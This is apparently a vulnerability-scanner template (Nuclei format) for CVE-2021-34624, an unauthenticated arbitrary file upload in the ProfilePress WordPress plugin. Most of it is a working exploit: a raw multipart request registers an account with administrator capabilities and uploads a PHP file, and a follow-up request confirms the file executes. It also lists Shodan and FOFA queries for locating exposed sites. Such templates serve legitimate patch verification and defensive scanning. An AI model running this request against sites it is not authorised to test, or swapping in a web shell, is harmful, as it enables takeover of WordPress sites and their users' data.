A vulnerability in the file uploader component found in the ~/src/Classes/FileUploader.php file of the ProfilePress WordPress plugin made it possible for users to upload arbitrary files during user registration or during profile updates. This issue affects versions 3.0.0 - 3.1.3.
PoC代码[已公开]
id: CVE-2021-34624
info:
name: WordPress ProfilePress 3.0-3.1.3 - Arbitrary File Upload
author: Sourabh-Sahu
severity: critical
description: |
A vulnerability in the file uploader component found in the ~/src/Classes/FileUploader.php file of the ProfilePress WordPress plugin made it possible for users to upload arbitrary files during user registration or during profile updates. This issue affects versions 3.0.0 - 3.1.3.
remediation: Update to ProfilePress version 3.1.4 or later
reference:
- https://wpscan.com/vulnerability/e12448ec-84a0-46aa-b280-5d9a80ee1e41/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-34624
cwe-id: CWE-434
epss-score: 0.64411
epss-percentile: 0.98397
cpe: cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: properfraction
product: profilepress
framework: wordpress
fofa-query: body="/wp-content/plugins/wp-user-avatar/"
publicwww-query: "/wp-content/plugins/wp-user-avatar/"
shodan-query: http.component:"profilepress"
tags: cve,cve2021,wordpress,wp-plugin,wp,wpscan,wp-user-avatar,profilepress,rce,file-upload,unauth,intrusive
variables:
username: "{{rand_base(6)}}"
password: "{{rand_base(8)}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
firstname: "{{rand_base(5)}}"
lastname: "{{rand_base(5)}}"
filename: "{{to_lower(rand_text_alpha(5))}}"
string: "CVE-2021-34624"
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="action"
pp_ajax_signup
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reg_username"
{{username}}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reg_email"
{{email}}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reg_password"
{{password}}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reg_password_present"
true
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reg_first_name"
{{firstname}}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="reg_last_name"
{{lastname}}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="wp_capabilities[administrator]"
1
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="{{filename}}.php"
Content-Type: application/x-php
<?php echo "{{string}}"; ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
- |
GET /wp-content/uploads/pp-files/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body_2, "{{string}}")'
- 'contains(content_type_2, "text/html")'
- 'status_code_2 == 200'
condition: and
# digest: 490a00463044022006a27d2fe00b8b716a6d325c2b04f3fa591a2426267ee741056238694a74be6f02201253eb13f16888f54da4a02ce2fac4017276c14627e0d3cd75716eb617132068:922c64590222798bb761d5b6d8e72950